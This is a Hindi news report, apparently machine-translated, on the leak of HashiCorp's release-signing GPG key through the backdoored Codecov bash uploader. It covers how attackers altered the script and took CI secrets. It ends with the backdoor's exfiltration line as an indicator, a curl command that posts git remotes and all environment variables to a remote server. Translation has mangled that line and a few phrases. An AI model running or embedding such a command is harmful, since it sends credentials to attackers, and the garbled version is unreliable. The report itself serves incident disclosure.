कोडकोव स्क्रिप्ट में दुर्भावनापूर्ण कोड की शुरूआत के कारण HashiCorp PGP कुंजी से समझौता हो गया

ओपन सोर्स टूल वैग्रांट, पैकर, नोमैड और टेराफॉर्म विकसित करने के लिए जाने जाने वाले हाशीकॉर्प ने रिलीज को सत्यापित करने वाले डिजिटल हस्ताक्षर बनाने के लिए उपयोग की जाने वाली निजी जीपीजी कुंजी के लीक की घोषणा की। जिन हमलावरों ने GPG कुंजी तक पहुंच प्राप्त कर ली है, वे संभावित रूप से HashiCorp उत्पादों को सही डिजिटल हस्ताक्षर के साथ सत्यापित करके उनमें छिपे हुए परिवर्तन कर सकते हैं। साथ ही, कंपनी ने कहा कि ऑडिट के दौरान ऐसे संशोधन करने के प्रयासों का कोई निशान नहीं पाया गया।

वर्तमान में, समझौता की गई GPG कुंजी को निरस्त कर दिया गया है और उसके स्थान पर एक नई कुंजी पेश की गई है। समस्या ने केवल SHA256SUM और SHA256SUM.sig फ़ाइलों का उपयोग करके सत्यापन को प्रभावित किया, औरreleases.hashicorp.com के माध्यम से आपूर्ति किए गए लिनक्स DEB और RPM पैकेजों के लिए डिजिटल हस्ताक्षर की पीढ़ी को प्रभावित नहीं किया, साथ ही macOS और Windows (AuthentiCode) के लिए सत्यापन तंत्र जारी किया। .

यह रिसाव बुनियादी ढांचे में कोडकोव बैश अपलोडर (कोडकोव-बैश) स्क्रिप्ट के उपयोग के कारण हुआ, जिसे निरंतर एकीकरण प्रणालियों से कवरेज रिपोर्ट डाउनलोड करने के लिए डिज़ाइन किया गया था। कोडकोव कंपनी पर हमले के दौरान निर्दिष्ट स्क्रिप्ट में एक पिछला दरवाजा छिपा दिया गया था, जिसके माध्यम से पासवर्ड और एन्क्रिप्शन कुंजी हमलावरों के सर्वर पर भेजी जाती थीं।

हैक करने के लिए, हमलावरों ने कोडकोव डॉकर छवि बनाने की प्रक्रिया में एक त्रुटि का फायदा उठाया, जिससे कोडकोव से वितरित बैश अपलोडर स्क्रिप्ट में बदलाव करने के लिए आवश्यक जीसीएस (Google क्लाउड स्टोरेज) तक पहुंच डेटा निकालना संभव हो गया। आईओ वेबसाइट. परिवर्तन 31 जनवरी को किए गए थे, दो महीने तक पता नहीं चले और हमलावरों को ग्राहक निरंतर एकीकरण प्रणाली वातावरण में संग्रहीत जानकारी निकालने की अनुमति दी गई। जोड़े गए दुर्भावनापूर्ण कोड का उपयोग करके, हमलावर परीक्षण किए गए Git रिपॉजिटरी और टोकन, एन्क्रिप्शन कुंजी और पासवर्ड सहित सभी पर्यावरण चर के बारे में जानकारी प्राप्त कर सकते हैं, जो एप्लिकेशन कोड, रिपॉजिटरी और अमेज़ॅन वेब सर्विसेज और GitHub जैसी सेवाओं तक पहुंच को व्यवस्थित करने के लिए निरंतर एकीकरण सिस्टम में प्रेषित होते हैं। .

डायरेक्ट कॉल के अलावा, कोडकोव बैश अपलोडर स्क्रिप्ट का उपयोग अन्य अपलोडर्स के हिस्से के रूप में किया गया था, जैसे कि कोडकोव-एक्शन (जीथब), कोडकोव-सर्कलसी-ऑर्ब और कोडकोव-बिटराइज-स्टेप, जिनके उपयोगकर्ता भी समस्या से प्रभावित हैं। कोडकोव-बैश और संबंधित उत्पादों के सभी उपयोगकर्ताओं को अपने बुनियादी ढांचे का ऑडिट करने के साथ-साथ पासवर्ड और एन्क्रिप्शन कुंजी बदलने की सलाह दी जाती है। आप किसी स्क्रिप्ट में पिछले दरवाजे की उपस्थिति की जांच लाइन cur -sm 0.5 -d "$(git रिमोट -v)<<<<<< ENV $(env)" http:// की उपस्थिति से कर सकते हैं। /अपलोड/v2|| सत्य

स्रोत: opennet.ru